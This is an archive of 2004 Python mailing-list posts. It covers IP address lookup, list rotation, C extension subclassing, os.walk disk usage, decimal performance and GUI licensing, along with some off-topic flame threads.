comparison anomaly (2002-02-06) http://python.org/sf/513866 closed by tim_one buffer() object broken. (2004-09-23) http://python.org/sf/1033720 closed by nascheme ConfigParser's get method gives utf-8 for a utf-16 config... (2004-01-10) http://python.org/sf/874354 closed by goodger More buffer object brokenness (2004-09-24) http://python.org/sf/1034242 closed by nascheme embedding in multi-threaded & multi sub-interpreter environ (2004-03-22) http://python.org/sf/921077 closed by bcannon Configure uses GNU ld flags with non-GNU compilers/linkers (2004-09-25) http://python.org/sf/1034496 closed by loewis 2.4 asyncore breaks Zope (2004-08-18) http://python.org/sf/1011606 closed by tim_one CPU usage shoots up with asyncore (2004-08-16) http://python.org/sf/1010098 closed by arigo execve rejects empty argument list (2004-05-13) http://python.org/sf/952953 closed by arigo email.Message.Message.__getitem__ doc string wrong (2004-06-25) http://python.org/sf/979924 closed by bwarsaw Email module's feed parser (2004-09-28) http://python.org/sf/1036506 closed by bwarsaw idle -n crashes (2004-09-22) http://python.org/sf/1032395 closed by kbk IDLE hangs when inactive more than 2 hours (2004-08-02) http://python.org/sf/1001869 closed by kbk From claird at lairds.us Thu Sep 9 18:08:04 2004 From: claird at lairds.us (Cameron Laird) Date: Thu, 09 Sep 2004 22:08:04 GMT Subject: Best way to get ip address References: <mailman.3117.1094756871.5135.python-list@python.org> Message-ID: <ngv612-oqp.ln1@lairds.us> In article <mailman.3117.1094756871.5135.python-list at python.org>, Darren Kirby <bulliver at badcomputer.no-ip.com> wrote: >-=-=-=-=-=- > >Hello list: > >I am writing a small app in python which tracks the kernel banner at >kernel.org and downloads newer kernel version(s) (if there are any). > >I am using GeoIP to set the download to a local mirror if there is one. This >is what I use to get the local IP address: > >ip = socket.gethostbyaddr(socket.gethostname()) ># returns: ('hostname.domain', ['hostname'], ['192.168.0.2']) >ip = str(ip[2]) ># returns: "['192.168.0.2']" >ip = ip[2:-2] ># returns: '192.168.0.2' > >This works fine, but seems a little crufty and convoluted, and usually when >things get crufty it means there is a better way to do it...so is there a >preferred way of obtaining a local IP address? > >Another issue is that if the user is behind a NAT firewall or somesuch and >uses a private network address then the whole GeoIP code is moot. I was >thinking that if this is the case then the app could check for the default >gateway of the machine and use that IP instead, but of course the gateway may >just be another private network IP address. Does anyone have some ideas on >how I could make this code useful with a private IP address? . . . Your instincts are healthy; this *is* convoluted. As it turns out, though, there's no clearly better answer. For various reasons--I find it convenient today to blame "sec- urity"--there is not and will not be a satisfying answer to this question. You might like to read through, for example, <URL: http://groups.google.com/groups?frame=left&th=7026ecbc602559e6 >. From steve at holdenweb.com Tue Sep 28 20:28:04 2004 From: steve at holdenweb.com (Steve Holden) Date: Tue, 28 Sep 2004 20:28:04 -0400 Subject: annoying behavior In-Reply-To: <mailman.4029.1096404065.5135.python-list@python.org> References: <9418be08.0409280856.9368ddf@posting.google.com> <41599BD7.7040809@bellsouth.net> <mailman.4029.1096404065.5135.python-list@python.org> Message-ID: <0on6d.1653$TY2.18@lakeread04> elbertlev at hotmail.com wrote: > ----- Original Message ----- > From: "Jeremy Jones" <zanesdad at bellsouth.net> > To: "Elbert Lev" <elbertlev at hotmail.com> > Cc: <python-list at python.org> > Sent: Tuesday, September 28, 2004 1:13 PM > Subject: Re: annoying behavior > > Jeremy! > > Sure it would be nice if a the interpreter would give a warning before > really instantiating the instance of class foo (at least in "debug" mode). > In my case the error happened after the program ran about 30 minutes. I do > not think this is impossible. If not thinking something impossible actually made it possible then it would be possible for me to ignore this thread rather than responding to it. Next you'll be asking us to modify the compiler so it produces an error if someone feeds it a program that never terminates. If your program ran for 30 minutes before this quite-obvious bug appeared then I should suggest you do some serious reading on the subjects of unit-testing and test-first programming. Alternatively, look for a language with DWIM-mode :-) regards Steve From hat at se-126.se.wtb.tue.nl Thu Sep 9 11:31:00 2004 From: hat at se-126.se.wtb.tue.nl (Albert Hofkamp) Date: Thu, 9 Sep 2004 15:31:00 +0000 (UTC) Subject: Using Python to generate code? References: <ed89f8f2.0409072251.2152c22b@posting.google.com> <slrncju9df.8jt.hat@se-126.se.wtb.tue.nl> <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com> <mailman.3041.1094661030.5135.python-list@python.org> <1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com> <mailman.3048.1094665075.5135.python-list@python.org> <10jvm82sae48rfd@corp.supernews.com> <ed89f8f2.0409090609.682ff121@posting.google.com> Message-ID: <slrnck0tpj.h1d.hat@se-126.se.wtb.tue.nl> On 9 Sep 2004 07:09:10 -0700, Tran Tuan Anh <anhtt at hotmail.com> wrote: > - I'm familar with Java, C, C++, and Pascal, some experiences with > SML. Could you elaborate about some Python's string-manipulation > features? I can never beat the online documentation: http://www.python.org/doc, click 'Module index', click 'strings'. I don't know where the string template thingies are described, but it has to be there somewhere. > - So now imagine if I have to convince my supervisor, an > theoretic-non-progammer, about switching to Python for this code > generator program, what kind of advantages I can get from doing so? Same: http://www.python.org/ look in the 'Documentation links', in particular the 'introductions to python'. There is a section of links to convince those that control what we do (they think :-) ). [ python documentation is awesome, very complete and very good. Browse the website for answers to just about any question. ] Albert -- Unlike popular belief, the .doc format is not an open publically available format. From db3l at fitlinxx.com Wed Sep 1 19:54:06 2004 From: db3l at fitlinxx.com (David Bolen) Date: 01 Sep 2004 19:54:06 -0400 Subject: initializing mutable class attributes References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com> <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <sweNBls/KXoF089yn@the-wire.com> <cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com> Message-ID: <u7jrdwnoh.fsf@fitlinxx.com> "Dan Perl" <dperl at rogers.com> writes: (...) > Very good point. I would usually assume that you should initialize the > superclass's attributes first, and then the subclass's. But that may not > always be the intent and I may just be influenced by my background in C++ > and Java. (...) I do find it reasonably common (particularly in GUI applications when I'm subclassing standard GUI objects) to have a subclass that massages the constructor inputs slightly (perhaps adding different defaults, or filtering the arguments) before passing them on to the superclass. In C++ you can sometimes manage this as long as the manipulation is simple exclusion or addition that can be performed in the initialization code prior to the start of the subclass constructor, but that's very limited (and otherwise can end up forcing you into the 2-phase construction model). So I find Python's freedom of controlling exactly when the superclass is initialized with complete control over its arguments very liberating. -- David From pit.grinja at gmx.de Thu Sep 2 15:09:08 2004 From: pit.grinja at gmx.de (Piet) Date: 2 Sep 2004 12:09:08 -0700 Subject: Installation of mod_python 3.1.3 on Apache 2.0.50 on Windows Me/Win2k References: <39cbe663.0408290850.14452ab9@posting.google.com> <cgvhq2$pur$1@ctb-nnrp2.saix.net> Message-ID: <39cbe663.0409021109.6c3983b@posting.google.com> David Fraser <davidf at sjsoft.com> wrote in message news:<cgvhq2$pur$1 at ctb-nnrp2.saix.net>... > This error was found when installing the original mod_python 3.1.3 for > Windows installer on a non-Admin install of Python. You'll probably find > that the registry does exist, but under HKEY_CURRENT_USER, not > HKEY_LOCAL_MACHINE. > > In fact mod_python has actually been installed correctly, but the > instructions about changing your apache configuration have not been > given, and the mod_python library hasn't been copied into the Apache > directory. > > These issues should all be fix in the latest win32 build of mod_python > available from > http://davidf.sjsoft.com/files/mod_python-3.1.3-1.win32-py2.3.exe > > Need to get Grisha to release this... > > I would recommend removing the Scripts/win32_postinstall.py file before > running it... > > Hope that helps, if you have errors report them here or on the > mod_python mailing list. > > David Hi David. The new version worked, and I am looking forward exploring server-side cgi-scripting with my favorite programming language. Any reason why the new installer is not released? Thx Peter From ljelmore_ at _comcast_._net Fri Sep 3 19:52:14 2004 From: ljelmore_ at _comcast_._net (Larry Elmore) Date: Fri, 03 Sep 2004 23:52:14 GMT Subject: Xah Lee's Unixism In-Reply-To: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: <Os7_c.113460$Fg5.65632@attbi_s53> Alan Balmer wrote: > On Fri, 03 Sep 2004 16:12:52 GMT, "John W. Kennedy" > <jwkenne at attglobal.net> wrote: > > >>Anne & Lynn Wheeler wrote: >> >>>i have some recollection of competing bids building single unit >>>assemblies at sea coast sites allowing them to be barged to >>>florida. supposedly the shuttle boosters were sectioned specifically >>>because they were being fabricated in utah and there were >>>transportation constraints. >> >>Yes. A vastly inferior design was used, which ended up killing seven >>astronauts, because Orrin Hatch had to be appeased with boodle for Utah. > > > The first disaster was due to (possibly inferior) gaskets and inferior > judgment on launch day. The second was falling foam, and inferior > realization of the gravity of the problem. I'm not clear on what > either had to do with Utah. The gaskets wouldn't have been necessary if the SRBs had been built in a single piece instead of having to be assembled from seven sections. The problem was that one-piece SRBs are too big for land transport, and for political reasons (i.e., buying support), the SRBs were to be built in Utah by Morton-Thiokol. Ergo, multi-section SRBs with gaskets "required". --Larry From ivoras at __-geri.cc.fer.hr Wed Sep 15 18:10:09 2004 From: ivoras at __-geri.cc.fer.hr (Ivan Voras) Date: Thu, 16 Sep 2004 00:10:09 +0200 Subject: Rotating lists? Message-ID: <ciaek6$6l$1@bagan.srce.hr> I need to transform this: [1,2,3] into this: [2,3,1] (a left-rotation. Actually, any rotation will do). I tried: a = a[1:] + a[0] which doesn't work because there's no __add__ between a list and integer, and: a = a[1:].append(a[0]) but it doesn't work, since append returns None :( Right now, I'm doing it with a temporary variable and it looks ugly - is there an elegant way of doing it? From pfortin at pfortin.com Wed Sep 15 16:39:09 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Wed, 15 Sep 2004 16:39:09 -0400 Subject: list/tuple to dict... Message-ID: <20040915163909.4234ce31@gypsy.pfortin.com> Hi, Is the following a reasonable generic approach for converting python returned tuples/lists into dicts...? I'm not advocating library functions also return dicts (I'd probably spend more time looking up the real names... :) I'm just looking to make my code more readable and self-documenting... -------- class todict: """ Converts a list/tuple to a dict: foo = todict(values,names) """ def __init__(self,values,names): self.d = {} for i,name in enumerate(names.split(",")): self.d[name.strip()]=values[i] def __setitem__(self, name, value): self.d[name]=value def __getitem__(self, name): return self.d[name] import os # called this way, I can see what is returned in what order uname = todict(os.uname(), "sysname, nodename,release,version, machine") filename = "/etc/passwd" osstat = todict(os.stat("%s" % filename), "mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime") osstat['filename'] = filename print "You're running %(sysname)s %(release)s on %(nodename)s" % uname # mtime needs formatting... print "File '%(filename)s' was last modified %(mtime)s" % osstat --------- Returns: You're running Linux 2.6.3-15mdk on gypsy.pfortin.com File '/etc/passwd' was last modified 1080568025 A number of values are set and not used; though I think it's a small price to pay for making the results of lists/tuples more readable and useful... Over time, I'll probably build a list of functions I use and just copy/paste the line(s) I need: ~/pytemplates: osstat = todict(os.stat("%s" % path), "mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime") uname = todict(os.uname(), "sysname, nodename,release,version, machine") etc... The only part I still don't like is: osstat['filename'] = filename Is there a way to rewrite the class to allow for calls which take parms to include the parms in the resulting dict..? I'm probably trying to get too cute here though... :^) The newbie who gets to read (maintain?) my code should have an easier time; at least, that's my intent... Though Alex will probably consider this boilerplating... I think .some. boilerplating is good... B-] Other suggestions welcome :^) Thanks, Pierre From jl_post at hotmail.com Fri Sep 3 00:06:39 2004 From: jl_post at hotmail.com (J. Romano) Date: 2 Sep 2004 21:06:39 -0700 Subject: Larry Wall & Cults References: <7fe97cc4.0408251356.34f2102a@posting.google.com> Message-ID: <b893f5d4.0409022006.68c9690f@posting.google.com> xah at xahlee.org (Xah Lee) wrote in message news:<7fe97cc4.0408251356.34f2102a at posting.google.com>... > > In the computing world, there're also bad seeds with > colorful creed taking innocent mobs forming cults. > The three principal virtues of a programmer are Laziness, > Impatience, and Hubris. Yes? > > How can we prevent heinous cults then? Stop bending > truths. Education and rationalism. I'm starting my > own cult to exterminate morons on this earth. Two > things are on the top of my agenda: Unixism and Perl. You know... the original poster has a point... After all, Perl programmers have been known to "use Curses", as well as hex(), bless(), and sin(). (Which might lead him to believe that Perl programmers will eventually pack() their belongings, split() from their families , and join an isolated community where there is nothing to do but study() until you die() (or your mind goes "pop()"!). Coincidence? (I think so!) (Wow... Python advocacy has really taken a bizarre turn lately...) -- J. (My apologies if I offended any Python programmers. It was not my intention to associate the Python community with the original poster.) From aleaxit at yahoo.com Wed Sep 15 18:23:36 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 00:23:36 +0200 Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <m3pt4nwa84.fsf@g2ctech.com> Message-ID: <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> Jorge Godoy <godoy at ieee.org> wrote: > aleaxit at yahoo.com (Alex Martelli) writes: > > >> I really would like a lot if it was possible to write > >> non-GPL code with Qt (not that I'm against GPL software, but some > > > > It's perfectly possible: Trolltech, the authors of Qt, will be extremely > > happy to sell you a commercial license of Qt so you can develop and sell > > your code as closed-source or whatever. > > Then I'd have to buy something like PyQT, and then I'd have to buy > something like ... :-) If you buy BlackAdder, it comes with PyQT and Qt licenses and is cheaper than the Qt license for C++ development. A great bargain even if you never use the IDE itself (unless you also want to do C++ dev't). > I like the widgets, and the visual, but I can't afford buying a whole > toolchain for using it. So, I use the tools that are free, that allow I believe the "whole toolchain" (BlackAdder -- period) cost about $300 (==Euro 250) for a one-user license (commercial, with full right to redistribute the apps you develop). I'm not sure how much you charge for all of the apps you develop, but if 250 euros (fiscally deducible from your fees, of course!) make a significant dent in your income, then I agree that you can't afford Qt. No doubt, eventually, wxPython (which has been growing by leaps and bounds for quite a while now) will overtake Qt, and/or the cygwin guys will manage to release a native GPL Qt for Windows, and/or PyGUI will overtake both. For the last couple years, though, it seems to me that anybody who claims he really wishes he could write (Python) non-GPL commercial code with Qt and hasn't considered buying BlackAdder must _definitely_ charge too little for the application he or she sells. > delivery (after all, he paid for that) or writing free software (free > software was their choice 75% of the time, this is another reason I > wouldn't invest on buying a license of Qt for commercial software...). Unfortunately, GPL Qt doesn't (yet) run on Windows, which (for my average customer) would be a blocking factor. > Indeed. Macs are cool, but expensive. Our salaries here in .br are not > like your in the US or Europe... :-) Somebody just posted to it.comp.macintosh about their astonishment regarding Mac prices: they carefully configured Dell and Mac machines that were roughly equivalent -- pretty big ones (2GB RAM, 20" LCD screens, 250 GB disk, and in the case of the Mac a 64-bit CPU) and they came out to very much the same price, 3000 Eur including VAT. Except that on the Mac a superb professional development system is free for the downloading (XCode 1.5) while for Windows they'd need to splurge another thousand or so for Visual Studio Enterprise, not to mention the Mac's "iLife" suite (mostly not relevant to most professional users). They were astonished because they'd chosen the cheapest Dell desktop that could be pushed that high (a 4600, I believe). I'm at the other end of the spectrum, with an iBook 12" ultraportable which cost me, 9 months ago, roughly 1000, about 1/2 as much as the closest comparable machine in the Windows world (an IBM Thinkpad X40). In this case, adding the $$$ for Visual Studio to the mix, vs the free XCode I have here, would make the price comparison just ridiculous. People lusting for upgrades (because of course today's Mac are better than last year's) are typically trying to sell such machines for 700-800 or thereabouts, if they're perfect except for their age of about a year. I wouldn't know where to find a good ultraportable 12" in the PC world for this kind of prices -- and if I did, Linux wouldn't perfectly support its "sleep" facilities, a key issue in ultraportable laptops. Of course, the PC world has a MUCH wider range of offerings, including low-performance, low-quality ultracheap 250-or-so boxes -- that's what I typically throw in (with OpenBSD on them) when I propose some configuration to cheapskate customers. But, as I needed a good laptop, with the amount of travel I do, that option just wasn't around for me. Alex From danperl at rogers.com Sun Sep 26 19:59:33 2004 From: danperl at rogers.com (Dan Perl) Date: Sun, 26 Sep 2004 19:59:33 -0400 Subject: emulating du with os.walk References: <slrnclej7g.cl6.kirk@eyegor.jobsluder.net> Message-ID: <r-CdncA5tcx6ysrcRVn-gQ@rogers.com> Firs of all, I don't know how much you already know about os.walk, but it can traverse trees either top-down or bottom-up (it has an argument 'topdown'). The default is topdown=True. What you probably need in your case is a bottom-up traversal (so pass topdown=False). Then you have to keep track of all the directories (I can suggest a data structure if you want) and add the du values of all the children directories plus the sizes of all the files to determine the du value of a parent directory. Without seeing your code, I'm guessing you are not doing one of these things. Dan "Kirk Job-Sluder" <kirk at eyegor.jobsluder.net> wrote in message news:slrnclej7g.cl6.kirk at eyegor.jobsluder.net... > Hrm, I'm a bit stumped on this. > > I want to write a script lists a file directory hierarchy and gives me a > sorted list showing cumulative directory size. The example code for > os.walk gets me half-way there, but I can't quite figure out how to do > the hierarchal sum. Here is the output I'm getting: > > /home/kirk/.gconf/apps/ggv/layout consumes 228 bytes in 1 non-directory > files > /home/kirk/.gconf/apps/ggv consumes 0 bytes in 1 non-directory files > /home/kirk/.gconf/apps consumes 0 bytes in 1 non-directory files > > However, what I want is: > > /home/kirk/.gconf/apps/ggv/layout consumes 228 bytes in 1 non-directory > files > /home/kirk/.gconf/apps/ggv consumes 228 bytes in 1 non-directory files > /home/kirk/.gconf/apps consumes 228 bytes in 1 non-directory files > > There should be an easy way to get around this, or perhaps I'm better > off just parsing the output of du. > > -- > Kirk Job-Sluder > "The square-jawed homunculi of Tommy Hilfinger ads make every day an > existential holocaust." --Scary Go Round From grante at visi.com Fri Sep 10 11:28:48 2004 From: grante at visi.com (Grant Edwards) Date: 10 Sep 2004 15:28:48 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> Message-ID: <4141c830$0$65574$a1866201@newsreader.visi.com> On 2004-09-10, Alan Balmer <albalmer at att.net> wrote: >>It's been revealed that here in British Columbia (that part of >>Canada on the Pacific coast for those of you who are geographically >>challenged), management of medical information has been farmed out >>to a subsidiary of a U.S. corporation. According to the Patriot Act, >>the U.S. government is entitled to access these files, and anyone - >>American or Canadian - who so much as mentions that they're doing it >>can be thrown into a U.S. jail. > > Can you point to the relevant section(s) of the Act? > > Can you point to the international agreement which allows Canadian > citizens to be thrown into US jails for the stated offense? I know I shouldn't reply to threads like this, but I just can't help it... What makes you think that the current US government gives a shit about international agreements? Bush thinks he's entitled to declare anybody and everybody an "enemy combatant" and lock them up in secret forever. Add a moustache and he'd make a pretty good Stalin. -- Grant Edwards grante Yow! Yow! Now we can at become alcoholics! visi.com From iker at research.att.com Tue Sep 14 15:00:31 2004 From: iker at research.att.com (Iker Arizmendi) Date: Tue, 14 Sep 2004 19:00:31 GMT Subject: Subclassing in C In-Reply-To: <m3vfeg965o.fsf@pc150.maths.bris.ac.uk> References: <I4057u.3Er@research.att.com> <m31xh59i9h.fsf@pc150.maths.bris.ac.uk> <41470D3A.1040206@research.att.com> <m3vfeg965o.fsf@pc150.maths.bris.ac.uk> Message-ID: <41473FCF.5000706@research.att.com> Michael Hudson wrote: > Iker Arizmendi <iker at research.att.com> writes: > >>(*) The class I'm deriving from is defined in another >>extension module and it has its own tp_getattr method. > > > Hmm. I take it *it's* tp_getattr[o] method isn't > PyObject_GenericGetAttr then? > > Then your initial post makes more sense; I'm afraid I don't see > any obvious reason for PyObject_GenericGetAttr to crash. Ah! I missed the trailing 'o' and set tp_getattr, not tp_getattro as you suggested. However, after setting it correctly (I think), things still don't behave as I would expect (eg, the subclass has the union of its methods and the base class methods). The complete code is pretty long so I'm not sure I can post it (most of it deals with non Python stuff) - but here's a more complete piece that relates to setting up the classes. The base class (defined in a separated module) looks like so: static PyMethodDef fsmpymethods[] = { { "type", (PyCFunction) fsmpytype, METH_NOARGS, "type() -> string\n\nReturn FSM type." }, ... { NULL, NULL, 0, NULL } }; static PyObject* fsmpy_getattro(PyObject *obj, PyObject* name) { return Py_FindMethod(fsmpymethods, obj, PyString_AsString(name)); } PyTypeObject FSMPyType = { PyObject_HEAD_INIT(NULL) 0, "fsm.Fsm", sizeof(FSMPyObject), 0, fsmpy_dealloc, /*tp_dealloc*/ 0, /*tp_print*/ 0, /*tp_getattr*/ 0, /*tp_setattr*/ fsmpy_getattro, /*tp_getattro*/ ... 0, /*tp_setattro*/ 0, /*tp_as_buffer*/ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /*tp_flags*/ ... }; The base class doesn't have a new or init method as the author provides an explicit "create" method. The subclass that I've put together now looks like so (note that I now use the tp_getattro method, and cleared both tp_methods and tp_members): static PyMethodDef PyGrmReplace_methods[] = { { "mutate", (PyCFunction)PyGrmReplace_mutate, METH_VARARGS|METH_KEYWORDS, "mutate(fsm1 [, mode]) -> fsm\n" }, ... {NULL} }; static PyObject* PyGrm_GetAttro(PyObject *obj, PyObject* name) { return Py_FindMethod(PyGrmReplace_methods, obj, PyString_AsString(name)); } static PyTypeObject PyGrmReplaceType = { PyObject_HEAD_INIT(NULL) 0, /* ob_size */ "grm.GrmReplace", /* tp_name */ sizeof(PyFsmObject), /* tp_basicsize */ 0, /* tp_itemsize */ PyGrmReplace_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ ... PyGrm_GetAttro, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT, /* tp_flags */ "GrmReplace objects", /* tp_doc */ ... 0, /* tp_methods */ 0, /* tp_members */ ... PyGrmReplace_init, /* tp_init */ 0, /* tp_alloc */ PyGrmReplace_new, /* tp_new */ }; PyMODINIT_FUNC initgrm(void) { PyGrmReplaceType.tp_new = PyGrmReplace_new; PyGrmReplaceType.tp_base = pointerToFSMPyType; if (PyType_Ready(&PyGrmReplaceType) < 0) return; PyObject* m = Py_InitModule3("grm", grm_methods, "Python binding for the AT&T GRM library"); Py_INCREF(&PyGrmReplaceType); PyModule_AddObject(m, "GrmReplace", (PyObject*)&PyGrmReplaceType); } And the result of this is that an instance of grm.GrmReplace makes the mutate method available, but doesn't have the type() method from the fsm.Fsm class. Is there some "canonical" form for implementing this? Thanks again, Iker > > >>Here's the stack trace (via Valgrind), just in case: > > > A stack trace from gdb (i.e. with line numbers) would have been more > use. > > I think you have two options here: (a) make friends with gdb or (b) > post [a link to, maybe] complete code. > > Cheers, > mwh > From ed at leafe.com Mon Sep 27 19:02:05 2004 From: ed at leafe.com (Ed Leafe) Date: Mon, 27 Sep 2004 19:02:05 -0400 Subject: New to Python In-Reply-To: <42ugl0hu091vpb93qvpfcf8lmidkbnou0v@4ax.com> References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> <mailman.3722.1095866933.5135.python-list@python.org> <pan.2004.09.23.17.02.22.649109@jerf.org> <poidnXQ3VpJ4V8zcRVn-qg@powergate.ca> <mailman.3961.1096294506.5135.python-list@python.org> <e7edndpKo-0upsXcRVn-qw@powergate.ca> <42ugl0hu091vpb93qvpfcf8lmidkbnou0v@4ax.com> Message-ID: <406B0F07-10D9-11D9-B926-003065B11E84@leafe.com> On Sep 27, 2004, at 4:33 PM, Fuzzyman wrote: > If you're not prepared to think about the way you frame your question > then you are basically hoping that other people will do your thinking > for you. It's not much fun helping someone like that............... I've been following this discussion, and as someone who has been answering questions for a variety of technical matters for many years, I just thought I'd share my view. Obviously, having the poster pose a perfectly framed question, with complete information, etc., is the ideal. Nobody minds helping someone who is so well organized. But there are lots of other people out there who don't know enough to try what seems like the obvious steps. People new to a language tend to get nervous posting; it's hard to write an intelligent question when you're feeling stupid. My advice to those who find such poorly-worded posts offensive is to ignore them. Yes, they could have done a much better job, so if you want to respond, ask them for the information that would be relevant in figuring out their problem. Often they don't know what's important and what isn't. But by all means, taking the time to chastise them doesn't help anyone. Either don't bother doing anything if you don't have the time to spend with them, or ask for what you need. Community is a very positive energy. Keep building it! ___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://dabodev.com/ From me at privacy.net Tue Sep 21 23:12:23 2004 From: me at privacy.net (Richard Hanson) Date: Tue, 21 Sep 2004 20:12:23 -0700 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <cihrab$1v8$02$1@news.t-online.com> <7xwtyqsmvu.fsf@ruckus.brouhaha.com> <cijurc$4gd$02$1@news.t-online.com> Message-ID: <9ap1l015t6qgcq5s8hil71mrll9e71pnm7@4ax.com> Peter Otten wrote: > Paul Rubin wrote: > > > I haven't tried 2.4 yet. After > > The auther is currently working on an installer, but just dropping it into > 2.3's site-packages should work, too. I just dropped decimal.py from 2.4's Lib dir into 2.3.4's Lib dir. Seems to work. Any gotchas with this route? By the way, I got decimal.py revision 1.24 from CVS several days ago and noted a speedup of over an order of magnitude -- almost twenty-five times faster with this simple snippet calculating a square root to 500 decimal places. :-) [On Win98SE:] | from time import clock | from decimal import * | | a = Decimal('18974018374087403187404701740918.7481704084710473048017483047104') | t = clock() | b = a.sqrt(Context(prec=500)) | | print "Time: ", clock()-t | print "b =", b With decimal.py from 2.4a3.2 dropped into 2.3.4's Lib dir: | IDLE 1.0.3 | >>> ================================ RESTART ================================ | >>> | Time: 7.40197958397 | b = 4355917627100793.0054682072286...[elided]...67722472416430409564807807874919604463 | >>> With decimal.py from CVS (revision 1.24) in 2.3.4's Lib dir: | IDLE 1.0.3 | >>> ================================ RESTART ================================ | >>> | Time: 0.300008380965 | b = 4355917627100793.0054682072286...[elided]...67722472416430409564807807874919604463 | >>> For a check, I did: | >>> setcontext(Context(prec=500)) | >>> b * b | Decimal("18974018374087403187404701740918.748170408471047304801748304710400...[lotsa zeroes]...00") Pretty damn impressive! -- Try it, you'll like it! Good job to the crew for Decimal and the latest optimizations! now-I-just-need-atan[2]()-ly y'rs, Richard Hanson -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From grante at visi.com Sun Sep 19 11:48:35 2004 From: grante at visi.com (Grant Edwards) Date: 19 Sep 2004 15:48:35 GMT Subject: C programming newsgroup References: <zN2dnU3STdMjONDcRVn-uw@comcast.com> Message-ID: <414daa53$0$62444$a1866201@newsreader.visi.com> On 2004-09-19, Zach Shutters <zshutters at comcast.net> wrote: > What newsgroup can you guys recommend for me that talks about programming in > c/c++ that is as active as this one? -- Grant Edwards grante Yow! Hold the MAYO & pass at the COSMIC AWARENESS... visi.com From aleaxit at yahoo.com Tue Sep 7 09:58:06 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 15:58:06 +0200 Subject: How to actually write a program? References: <chano0$1gv$1@sparta.btinternet.com> <mailman.2916.1094457850.5135.python-list@python.org> <O9GdnTcSZLeCcaHcRVn-oA@powergate.ca> <1gjqk5q.vkzzpcbywftaN%aleaxit@yahoo.com> <IcOdnbhAqfAqK6DcRVn-hQ@powergate.ca> Message-ID: <1gjr2qj.3utj1719pdmf4N%aleaxit@yahoo.com> Peter Hansen <peter at engcorp.com> wrote: > Alex Martelli wrote: > > > Peter Hansen <peter at engcorp.com> wrote: > >>Ahhh!! Run! Run, Neil, run! UML! > ... > >>Ahhh!!! Run away some more! UML and XP are nearly anti-thetical. > > > > UML and Agile/XP are typically used in organizations with very different > > philosophies and mindsets. They're anything but antithetical > > _technically_, but, _culturally_, you're probably right... > > I guess I won't (can't) disagree until I have an idea what > you mean in this case by "technically". On the face of it, > I see little that isn't antithetical about them, technically > or otherwise. Quick (and for the most part throw-away) drawings > on whiteboards would seem to be the preferred Agile/XP solution, > but maybe that's where you bring in "culturally"... In many cases such drawings will be just fine (and quite a few places in the past splurged for self-copying whiteboards, though these days the cheap way to make those sketches durable is a digital camera), but not in all. Again, Scott Ambler deals with this better than I can hope to do in a post. Technically, UML is a language, or series of languages, to express various modeling artifacts. There is nothing in Agile Development (or even specifically XP) which makes those diagrams' languages incompatible with agility or extremity, any more than, say, CRC based alternatives, or any other kind you like. Let me offer a silly analogy: an XP team might perfectly well decide that the language for all of their communication will be Latin. There is nothing technically incompatible between that decision and XP's practices -- the Vatican has made sure approved Latin terms exist for all kinds of modern words, they publish a dictionary for the purpose. It would be _culturally_ unlikely, but there's no technical antithesis. Clearer now...? > >>-rabidly-anti-UML-ically y'rs, > >> Peter > > > > I suspect your "anti-ness" comes from cultural and not technical factor. > > Basically, injecting some modeling into an Agile culture, just like the > > reverse, takes diplomatic talents which very few people possess... > > Again, not sure how to tell the difference. I was working in > a group where we were trying to make effective use of UML > before we ever encountered Agile... in fact, it was in part > due to those experiences that we embraced agility and XP... > And since we managed to get agility into a modeling culture, > I'll assume someone had the necessary talents. I think the > problem lay elsewhere. Ah, a _lapsed_ UML'arian, those are indeed the most rabid ones;-) Alex From abra9823 at mail.usyd.edu.au Mon Sep 20 19:41:41 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Tue, 21 Sep 2004 09:41:41 +1000 Subject: MAC address In-Reply-To: <414efed5$0$60631$a1866201@newsreader.visi.com> 